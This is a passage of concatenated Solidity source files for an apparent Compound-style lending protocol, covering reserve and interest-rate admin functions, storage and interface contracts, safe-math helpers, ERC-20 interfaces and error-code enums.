reserveFactorMaxMantissa) { return fail(Error.BAD_INPUT, FailureInfo.SET_RESERVE_FACTOR_BOUNDS_CHECK); } uint oldReserveFactorMantissa = reserveFactorMantissa; reserveFactorMantissa = newReserveFactorMantissa; emit NewReserveFactor(oldReserveFactorMantissa, newReserveFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Accrues interest and reduces reserves by transferring from msg.sender * @param addAmount Amount of addition to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _addReservesInternal(uint addAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed. return fail(Error(error), FailureInfo.ADD_RESERVES_ACCRUE_INTEREST_FAILED); } // _addReservesFresh emits reserve-addition-specific logs on errors, so we don't need to. (error, ) = _addReservesFresh(addAmount); return error; } /** * @notice Add reserves by transferring from caller * @dev Requires fresh interest accrual * @param addAmount Amount of addition to reserves * @return (uint, uint) An error code (0=success, otherwise a failure (see ErrorReporter.sol for details)) and the actual amount added, net token fees */ function _addReservesFresh(uint addAmount) internal returns (uint, uint) { // totalReserves + actualAddAmount uint totalReservesNew; uint actualAddAmount; // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.ADD_RESERVES_FRESH_CHECK), actualAddAmount); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call doTransferIn for the caller and the addAmount * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken holds an additional addAmount of cash. * doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred. * it returns the amount actually transferred, in case of a fee. */ actualAddAmount = doTransferIn(msg.sender, addAmount); totalReservesNew = totalReserves + actualAddAmount; /* Revert on overflow */ require(totalReservesNew >= totalReserves, "add reserves unexpected overflow"); // Store reserves[n+1] = reserves[n] + actualAddAmount totalReserves = totalReservesNew; /* Emit NewReserves(admin, actualAddAmount, reserves[n+1]) */ emit ReservesAdded(msg.sender, actualAddAmount, totalReservesNew); /* Return (NO_ERROR, actualAddAmount) */ return (uint(Error.NO_ERROR), actualAddAmount); } /** * @notice Accrues interest and reduces reserves by transferring to admin * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReserves(uint reduceAmount) external override nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed. return fail(Error(error), FailureInfo.REDUCE_RESERVES_ACCRUE_INTEREST_FAILED); } // _reduceReservesFresh emits reserve-reduction-specific logs on errors, so we don't need to. return _reduceReservesFresh(reduceAmount); } /** * @notice Reduces reserves by transferring to admin * @dev Requires fresh interest accrual * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReservesFresh(uint reduceAmount) internal returns (uint) { // totalReserves - reduceAmount uint totalReservesNew; // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.REDUCE_RESERVES_ADMIN_CHECK); } // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDUCE_RESERVES_FRESH_CHECK); } // Fail gracefully if protocol has insufficient underlying cash if (getCashPrior() < reduceAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDUCE_RESERVES_CASH_NOT_AVAILABLE); } // Check reduceAmount ≤ reserves[n] (totalReserves) if (reduceAmount > totalReserves) { return fail(Error.BAD_INPUT, FailureInfo.REDUCE_RESERVES_VALIDATION); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) totalReservesNew = totalReserves - reduceAmount; // We checked reduceAmount <= totalReserves above, so this should never revert. require(totalReservesNew <= totalReserves, "reduce reserves unexpected underflow"); // Store reserves[n+1] = reserves[n] - reduceAmount totalReserves = totalReservesNew; // doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. doTransferOut(admin, reduceAmount); emit ReservesReduced(admin, reduceAmount, totalReservesNew); return uint(Error.NO_ERROR); } /** * @notice accrues interest and updates the interest rate model using _setInterestRateModelFresh * @dev Admin function to accrue interest and update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModel(InterestRateModel newInterestRateModel) public override returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted change of interest rate model failed return fail(Error(error), FailureInfo.SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED); } // _setInterestRateModelFresh emits interest-rate-model-update-specific logs on errors, so we don't need to. return _setInterestRateModelFresh(newInterestRateModel); } /** * @notice updates the interest rate model (*requires fresh interest accrual) * @dev Admin function to update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModelFresh(InterestRateModel newInterestRateModel) internal returns (uint) { // Used to store old model for use in the event that is emitted on success InterestRateModel oldInterestRateModel; // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_INTEREST_RATE_MODEL_OWNER_CHECK); } // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_INTEREST_RATE_MODEL_FRESH_CHECK); } // Track the market's current interest rate model oldInterestRateModel = interestRateModel; // Ensure invoke newInterestRateModel.isInterestRateModel() returns true require(newInterestRateModel.isInterestRateModel(), "marker method returned false"); // Set the interest rate model to newInterestRateModel interestRateModel = newInterestRateModel; // Emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel) emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel); return uint(Error.NO_ERROR); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of the underlying * @dev This excludes the value of the current message, if any * @return The quantity of underlying owned by this contract */ function getCashPrior() internal view virtual returns (uint); /** * @dev Performs a transfer in, reverting upon failure. Returns the amount actually transferred to the protocol, in case of a fee. * This may revert due to insufficient balance or insufficient allowance. */ function doTransferIn(address from, uint amount) internal virtual returns (uint); /** * @dev Performs a transfer out, ideally returning an explanatory error code upon failure tather than reverting. * If caller has not called checked protocol's balance, may revert due to insufficient cash held in the contract. * If caller has checked protocol's balance, and verified it is >= amount, this should not revert in normal conditions. */ function doTransferOut(address payable to, uint amount) internal virtual; /*** Reentrancy Guard ***/ /** * @dev Prevents a contract from calling itself, directly or indirectly. */ modifier nonReentrant() { require(_notEntered, "re-entered"); _notEntered = false; _; _notEntered = true; // get a gas-refund post-Istanbul } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./ComptrollerInterface.sol"; import "./InterestRateModel.sol"; contract CTokenStorage { /** * @dev Guard variable for re-entrancy checks */ bool internal _notEntered; /** * @notice EIP-20 token name for this token */ string public name; /** * @notice EIP-20 token symbol for this token */ string public symbol; /** * @notice EIP-20 token decimals for this token */ uint8 public decimals; /** * @notice Maximum borrow rate that can ever be applied (.0005% / block) */ uint internal constant borrowRateMaxMantissa = 0.0005e16; /** * @notice Maximum fraction of interest that can be set aside for reserves */ uint internal constant reserveFactorMaxMantissa = 1e18; /** * @notice Administrator for this contract */ address payable public admin; /** * @notice Pending administrator for this contract */ address payable public pendingAdmin; /** * @notice Contract which oversees inter-cToken operations */ ComptrollerInterface public comptroller; /** * @notice Model which tells what the current interest rate should be */ InterestRateModel public interestRateModel; /** * @notice Initial exchange rate used when minting the first CTokens (used when totalSupply = 0) */ uint internal initialExchangeRateMantissa; /** * @notice Fraction of interest currently set aside for reserves */ uint public reserveFactorMantissa; /** * @notice Block number that interest was last accrued at */ uint public accrualBlockNumber; /** * @notice Accumulator of the total earned interest rate since the opening of the market */ uint public borrowIndex; /** * @notice Total amount of outstanding borrows of the underlying in this market */ uint public totalBorrows; /** * @notice Total amount of reserves of the underlying held in this market */ uint public totalReserves; /** * @notice Total number of tokens in circulation */ uint public totalSupply; /** * @notice Official record of token balances for each account */ mapping (address => uint) internal accountTokens; /** * @notice Approved token transfer amounts on behalf of others */ mapping (address => mapping (address => uint)) internal transferAllowances; /** * @notice Container for borrow balance information * @member principal Total balance (with accrued interest), after applying the most recent balance-changing action * @member interestIndex Global borrowIndex as of the most recent balance-changing action */ struct BorrowSnapshot { uint principal; uint interestIndex; } /** * @notice Mapping of account addresses to outstanding borrow balances */ mapping(address => BorrowSnapshot) internal accountBorrows; } abstract contract CTokenInterface is CTokenStorage { /** * @notice Indicator that this is a CToken contract (for inspection) */ bool public constant isCToken = true; /*** Market Events ***/ /** * @notice Event emitted when interest is accrued */ event AccrueInterest(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows); /** * @notice Event emitted when tokens are minted */ event Mint(address minter, uint mintAmount, uint mintTokens); /** * @notice Event emitted when tokens are redeemed */ event Redeem(address redeemer, uint redeemAmount, uint redeemTokens); /** * @notice Event emitted when underlying is borrowed */ event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is repaid */ event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is liquidated */ event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address cTokenCollateral, uint seizeTokens); /*** Admin Events ***/ /** * @notice Event emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Event emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); /** * @notice Event emitted when comptroller is changed */ event NewComptroller(ComptrollerInterface oldComptroller, ComptrollerInterface newComptroller); /** * @notice Event emitted when interestRateModel is changed */ event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel); /** * @notice Event emitted when the reserve factor is changed */ event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa); /** * @notice Event emitted when the reserves are added */ event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves); /** * @notice Event emitted when the reserves are reduced */ event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves); /** * @notice EIP20 Transfer event */ event Transfer(address indexed from, address indexed to, uint amount); /** * @notice EIP20 Approval event */ event Approval(address indexed owner, address indexed spender, uint amount); /** * @notice Failure event */ event Failure(uint error, uint info, uint detail); /*** User Interface ***/ function transfer(address dst, uint amount) external virtual returns (bool); function transferFrom(address src, address dst, uint amount) external virtual returns (bool); function approve(address spender, uint amount) external virtual returns (bool); function allowance(address owner, address spender) external view virtual returns (uint); function balanceOf(address owner) external view virtual returns (uint); function balanceOfUnderlying(address owner) external virtual returns (uint); function getAccountSnapshot(address account) external view virtual returns (uint, uint, uint, uint); function borrowRatePerBlock() external view virtual returns (uint); function supplyRatePerBlock() external view virtual returns (uint); function totalBorrowsCurrent() external virtual returns (uint); function borrowBalanceCurrent(address account) external virtual returns (uint); function borrowBalanceStored(address account) public view virtual returns (uint); function exchangeRateCurrent() public virtual returns (uint); function exchangeRateStored() public view virtual returns (uint); function getCash() external view virtual returns (uint); function accrueInterest() public virtual returns (uint); function seize(address liquidator, address borrower, uint seizeTokens) external virtual returns (uint); /*** Admin Functions ***/ function _setPendingAdmin(address payable newPendingAdmin) external virtual returns (uint); function _acceptAdmin() external virtual returns (uint); function _setComptroller(ComptrollerInterface newComptroller) public virtual returns (uint); function _setReserveFactor(uint newReserveFactorMantissa) external virtual returns (uint); function _reduceReserves(uint reduceAmount) external virtual returns (uint); function _setInterestRateModel(InterestRateModel newInterestRateModel) public virtual returns (uint); } contract CErc20Storage { /** * @notice Underlying asset for this CToken */ address public underlying; } abstract contract CErc20Interface is CErc20Storage { /*** User Interface ***/ function mint(uint mintAmount) external virtual returns (uint); function redeem(uint redeemTokens) external virtual returns (uint); function redeemUnderlying(uint redeemAmount) external virtual returns (uint); function borrow(uint borrowAmount) external virtual returns (uint); function repayBorrow(uint repayAmount) external virtual returns (uint); function repayBorrowBehalf(address borrower, uint repayAmount) external virtual returns (uint); function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external virtual returns (uint); /*** Admin Functions ***/ function _addReserves(uint addAmount) external virtual returns (uint); } contract CDelegationStorage { /** * @notice Implementation address for this contract */ address public implementation; } abstract contract CDelegatorInterface is CDelegationStorage { /** * @notice Emitted when implementation is changed */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Called by the admin to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public virtual; } abstract contract CDelegateInterface is CDelegationStorage { /** * @notice Called by the delegator on a delegate to initialize it for duty * @dev Should revert if any issues arise which make it unfit for delegation * @param data The encoded bytes data for any initialization */ function _becomeImplementation(bytes memory data) public virtual; /** * @notice Called by the delegator on a delegate to forfeit its responsibility */ function _resignImplementation() public virtual; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @title Careful Math * @author Compound * @notice Derived from OpenZeppelin's SafeMath library * https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract CarefulMath { /** * @dev Possible error codes that we can return */ enum MathError { NO_ERROR, DIVISION_BY_ZERO, INTEGER_OVERFLOW, INTEGER_UNDERFLOW } /** * @dev Multiplies two numbers, returns an error on overflow. */ function mulUInt(uint a, uint b) internal pure returns (MathError, uint) { if (a == 0) { return (MathError.NO_ERROR, 0); } uint c = a * b; if (c / a != b) { return (MathError.INTEGER_OVERFLOW, 0); } else { return (MathError.NO_ERROR, c); } } /** * @dev Integer division of two numbers, truncating the quotient. */ function divUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b == 0) { return (MathError.DIVISION_BY_ZERO, 0); } return (MathError.NO_ERROR, a / b); } /** * @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend). */ function subUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b <= a) { return (MathError.NO_ERROR, a - b); } else { return (MathError.INTEGER_UNDERFLOW, 0); } } /** * @dev Adds two numbers, returns an error on overflow. */ function addUInt(uint a, uint b) internal pure returns (MathError, uint) { uint c = a + b; if (c >= a) { return (MathError.NO_ERROR, c); } else { return (MathError.INTEGER_OVERFLOW, 0); } } /** * @dev add a and b and then subtract c */ function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) { (MathError err0, uint sum) = addUInt(a, b); if (err0 != MathError.NO_ERROR) { return (err0, 0); } return subUInt(sum, c); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; abstract contract ComptrollerInterface { /// @notice Indicator that this is a Comptroller contract (for inspection) bool public constant isComptroller = true; /*** Assets You Are In ***/ function enterMarkets(address[] calldata cTokens) external virtual returns (uint[] memory); function exitMarket(address cToken) external virtual returns (uint); /*** Policy Hooks ***/ function mintAllowed(address cToken, address minter, uint mintAmount) external virtual returns (uint); function mintVerify(address cToken, address minter, uint mintAmount, uint mintTokens) external virtual; function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external virtual returns (uint); function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external virtual; function borrowAllowed(address cToken, address borrower, uint borrowAmount) external virtual returns (uint); function borrowVerify(address cToken, address borrower, uint borrowAmount) external virtual; function repayBorrowAllowed( address cToken, address payer, address borrower, uint repayAmount) external virtual returns (uint); function repayBorrowVerify( address cToken, address payer, address borrower, uint repayAmount, uint borrowerIndex) external virtual; function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount) external virtual returns (uint); function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount, uint seizeTokens) external virtual; function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external virtual returns (uint); function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external virtual; function transferAllowed(address cToken, address src, address dst, uint transferTokens) external virtual returns (uint); function transferVerify(address cToken, address src, address dst, uint transferTokens) external virtual; /*** Liquidity/Liquidation Calculations ***/ function liquidateCalculateSeizeTokens( address cTokenBorrowed, address cTokenCollateral, uint repayAmount) external virtual returns (uint, uint); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @title ERC 20 Token Standard Interface * https://eips.ethereum.org/EIPS/eip-20 */ interface EIP20Interface { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); /** * @notice Get the total number of tokens in circulation * @return The supply of tokens */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of the specified address * @param owner The address from which the balance will be retrieved * @return balance The balance */ function balanceOf(address owner) external view returns (uint256 balance); /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return success Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external returns (bool success); /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return success Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external returns (bool success); /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return success Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool success); /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return remaining The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @title EIP20NonStandardInterface * @dev Version of ERC20 with no return values for `transfer` and `transferFrom` * See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ interface EIP20NonStandardInterface { /** * @notice Get the total number of tokens in circulation * @return The supply of tokens */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of the specified address * @param owner The address from which the balance will be retrieved * @return balance The balance */ function balanceOf(address owner) external view returns (uint256 balance); /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transfer(address dst, uint256 amount) external; /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transferFrom(address src, address dst, uint256 amount) external; /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved * @return success Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool success); /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return remaining The number of tokens allowed to be spent */ function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; contract ComptrollerErrorReporter { enum Error { NO_ERROR, UNAUTHORIZED, COMPTROLLER_MISMATCH, INSUFFICIENT_SHORTFALL, INSUFFICIENT_LIQUIDITY, INVALID_CLOSE_FACTOR, INVALID_COLLATERAL_FACTOR, INVALID_LIQUIDATION_INCENTIVE, MARKET_NOT_ENTERED, // no longer possible MARKET_NOT_LISTED, MARKET_ALREADY_LISTED, MATH_ERROR, NONZERO_BORROW_BALANCE, PRICE_ERROR, REJECTION, SNAPSHOT_ERROR, TOO_MANY_ASSETS, TOO_MUCH_REPAY } enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK, EXIT_MARKET_BALANCE_OWED, EXIT_MARKET_REJECTION, SET_CLOSE_FACTOR_OWNER_CHECK, SET_CLOSE_FACTOR_VALIDATION, SET_COLLATERAL_FACTOR_OWNER_CHECK, SET_COLLATERAL_FACTOR_NO_EXISTS, SET_COLLATERAL_FACTOR_VALIDATION, SET_COLLATERAL_FACTOR_WITHOUT_PRICE, SET_IMPLEMENTATION_OWNER_CHECK, SET_LIQUIDATION_INCENTIVE_OWNER_CHECK, SET_LIQUIDATION_INCENTIVE_VALIDATION, SET_MAX_ASSETS_OWNER_CHECK, SET_PENDING_ADMIN_OWNER_CHECK, SET_PENDING_IMPLEMENTATION_OWNER_CHECK, SET_PRICE_ORACLE_OWNER_CHECK, SUPPORT_MARKET_EXISTS, SUPPORT_MARKET_OWNER_CHECK, SET_PAUSE_GUARDIAN_OWNER_CHECK } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint error, uint info, uint detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } } contract TokenErrorReporter { enum Error { NO_ERROR, UNAUTHORIZED, BAD_INPUT, COMPTROLLER_REJECTION, COMPTROLLER_CALCULATION_ERROR, INTEREST_RATE_MODEL_ERROR, INVALID_ACCOUNT_PAIR, INVALID_CLOSE_AMOUNT_REQUESTED, INVALID_COLLATERAL_FACTOR, MATH_ERROR, MARKET_NOT_FRESH, MARKET_NOT_LISTED, TOKEN_INSUFFICIENT_ALLOWANCE, TOKEN_INSUFFICIENT_BALANCE, TOKEN_INSUFFICIENT_CASH, TOKEN_TRANSFER_IN_FAILED, TOKEN_TRANSFER_OUT_FAILED } /* * Note: FailureInfo (but not Error) is kept in alphabetical order * This is because FailureInfo grows significantly faster, and * the order of Error has some meaning, while the order of FailureInfo * is entirely arbitrary. */ enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED, ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, BORROW_ACCRUE_INTEREST_FAILED, BORROW_CASH_NOT_AVAILABLE, BORROW_FRESHNESS_CHECK, BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, BORROW_MARKET_NOT_LISTED, BORROW_COMPTROLLER_REJECTION, LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED, LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED, LIQUIDATE_COLLATERAL_FRESHNESS_CHECK, LIQUIDATE_COMPTROLLER_REJECTION, LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED, LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX, LIQUIDATE_CLOSE_AMOUNT_IS_ZERO, LIQUIDATE_FRESHNESS_CHECK, LIQUIDATE_LIQUIDATOR_IS_BORROWER, LIQUIDATE_REPAY_BORROW_FRESH_FAILED, LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER, LIQUIDATE_SEIZE_TOO_MUCH, MINT_ACCRUE_INTEREST_FAILED, MINT_COMPTROLLER_REJECTION, MINT_EXCHANGE_CALCULATION_FAILED, MINT_EXCHANGE_RATE_READ_FAILED, MINT_FRESHNESS_CHECK, MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, MINT_TRANSFER_IN_FAILED, MINT_TRANSFER_IN_NOT_POSSIBLE, REDEEM_ACCRUE_INTEREST_FAILED, REDEEM_COMPTROLLER_REJECTION, REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, REDEEM_EXCHANGE_RATE_READ_FAILED, REDEEM_FRESHNESS_CHECK, REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, REDEEM_TRANSFER_OUT_NOT_POSSIBLE, REDUCE_RESERVES_ACCRUE_INTEREST_FAILED, REDUCE_RESERVES_ADMIN_CHECK, REDUCE_RESERVES_CASH_NOT_AVAILABLE, REDUCE_RESERVES_FRESH_CHECK, REDUCE_RESERVES_VALIDATION, REPAY_BEHALF_ACCRUE_INTEREST_FAILED, REPAY_BORROW_ACCRUE_INTEREST_FAILED, REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, REPAY_BORROW_COMPTROLLER_REJECTION, REPAY_BORROW_FRESHNESS_CHECK, REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE, SET_COLLATERAL_FACTOR_OWNER_CHECK, SET_COLLATERAL_FACTOR_VALIDATION, SET_COMPTROLLER_OWNER_CHECK, SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED, SET_INTEREST_RATE_MODEL_FRESH_CHECK, SET_INTEREST_RATE_MODEL_OWNER_CHECK, SET_MAX_ASSETS_OWNER_CHECK, SET_ORACLE_MARKET_NOT_LISTED, SET_PENDING_ADMIN_OWNER_CHECK, SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED, SET_RESERVE_FACTOR_ADMIN_CHECK, SET_RESERVE_FACTOR_FRESH_CHECK, SET_RESERVE_FACTOR_BOUNDS_CHECK, TRANSFER_COMPTROLLER_REJECTION, TRANSFER_NOT_ALLOWED, TRANSFER_NOT_ENOUGH, TRANSFER_TOO_MUCH, ADD_RESERVES_ACCRUE_INTEREST_FAILED, ADD_RESERVES_FRESH_CHECK, ADD_RESERVES_TRANSFER_IN_NOT_POSSIBLE } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint error, uint info, uint detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./CarefulMath.sol"; /** * @title Exponential module for storing fixed-precision decimals * @author Compound * @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places. * Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is: * `Exp({mantissa: 5100000000000000000})`. */ contract Exponential is CarefulMath { uint constant expScale = 1e18; uint constant doubleScale = 1e36; uint constant halfExpScale = expScale/2; uint constant mantissaOne = expScale; struct Exp { uint mantissa; } struct Double { uint mantissa; } /** * @dev Creates an exponential from numerator and denominator values. * Note: Returns an error if (`num` * 10e18) > MAX_INT, * or if `denom` is zero. */ function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledNumerator) = mulUInt(num, expScale); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } (MathError err1, uint rational) = divUInt(scaledNumerator, denom); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: rational})); } /** * @dev Adds two exponentials, returning a new exponential. */ function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = addUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Subtracts two exponentials, returning a new exponential. */ function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = subUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Multiply an Exp by a scalar, returning a new Exp. */ function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar); if (err0 != 